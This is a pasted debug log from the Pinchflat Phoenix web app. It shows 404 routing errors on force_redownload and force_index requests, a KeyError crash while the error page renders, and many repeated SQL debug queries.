Safari/537.36"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/sources/10/force_redownload", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHOvnHhWnZWzBgAARti"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37083.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/force_redownload", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44488}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 31, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/10/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37083.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/force_redownload", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44488}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 31, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMe (truncated) 22:17:24.399 [info] GET /sources/10/media/13812/edit 22:17:24.399 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "13812", "source_id" => "10"} Pipelines: [:browser] 22:17:24.399 [debug] QUERY OK source="media_items" db=0.2ms idle=12.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [13812] 22:17:24.400 [debug] QUERY OK source="settings" db=0.2ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.400 [debug] QUERY OK source="settings" db=0.1ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.401 [debug] QUERY OK source="settings" db=0.1ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.402 [info] Sent 200 in 3ms 22:17:24.592 [info] GET /sources/10/force_index 22:17:24.593 [debug] QUERY OK source="settings" db=0.7ms queue=0.1ms idle=193.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.594 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=193.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.594 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:17:24.595 [info] GET /sources/10 22:17:24.595 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"delete_files" => "true", "id" => "10"} Pipelines: [:browser] 22:17:24.596 [debug] QUERY OK source="sources" db=0.5ms idle=195.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 22:17:24.598 [debug] QUERY OK source="media_profiles" db=0.7ms idle=195.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 22:17:24.598 [debug] QUERY OK source="tasks" db=0.3ms idle=12.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [10, "executing", "available", "scheduled", "retryable"] 22:17:24.599 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=5.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2350] 22:17:24.595 [error] #PID<0.37225.0> running PinchflatWeb.Endpoint (connection #PID<0.37083.0>, stream id 33) terminated Server: youtube.plexultra.com:80 (http) Request: GET /sources/10/force_index ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/10/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37083.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/force_index", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44488}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 33, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk" }, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.37225.0>, params: %{}, path_info: ["sources", "10", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/sources/10/force_index", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHOvn3ImEUr-hMAAX_h"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37083.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/force_index", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44488}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 33, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/10/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37083.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/force_index", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44488}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 33, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk" }, halted: f (truncated) 22:17:24.600 [debug] QUERY OK source="settings" db=0.2ms idle=5.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.600 [debug] QUERY OK source="settings" db=0.1ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.601 [debug] QUERY OK source="settings" db=0.1ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.602 [debug] QUERY OK source="sources" db=0.3ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 22:17:24.604 [debug] QUERY OK source="media_items" db=0.8ms idle=3.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [10] 22:17:24.605 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=4.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [10, 10, 0] 22:17:24.606 [debug] QUERY OK source="sources" db=0.2ms idle=5.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 22:17:24.606 [debug] QUERY OK source="media_items" db=0.2ms idle=5.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [10] 22:17:24.607 [debug] QUERY OK source="media_items" db=0.5ms idle=3.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [10, 10, 0] 22:17:24.608 [debug] QUERY OK source="sources" db=0.2ms idle=4.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 22:17:24.609 [debug] QUERY OK source="media_items" db=0.6ms idle=3.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [10] 22:17:24.610 [debug] QUERY OK source="media_items" db=0.9ms idle=3.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [10, 10, 0] 22:17:24.612 [info] GET /sources/10/media/12541 22:17:24.612 [info] Sent 200 in 17ms 22:17:24.613 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "12541", "source_id" => "10"} Pipelines: [:browser] 22:17:24.613 [debug] QUERY OK source="media_items" db=0.2ms idle=6.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12541] 22:17:24.614 [debug] QUERY OK source="tasks" db=0.4ms idle=6.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [12541] 22:17:24.614 [debug] QUERY OK source="sources" db=0.4ms idle=5.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 22:17:24.616 [debug] QUERY OK source="oban_jobs" db=1.2ms idle=5.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2179] 22:17:24.617 [debug] QUERY OK source="settings" db=0.2ms idle=5.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.617 [debug] QUERY OK source="settings" db=0.1ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.617 [info] GET /sources/10/media/12541/edit 22:17:24.618 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "12541", "source_id" => "10"} Pipelines: [:browser] 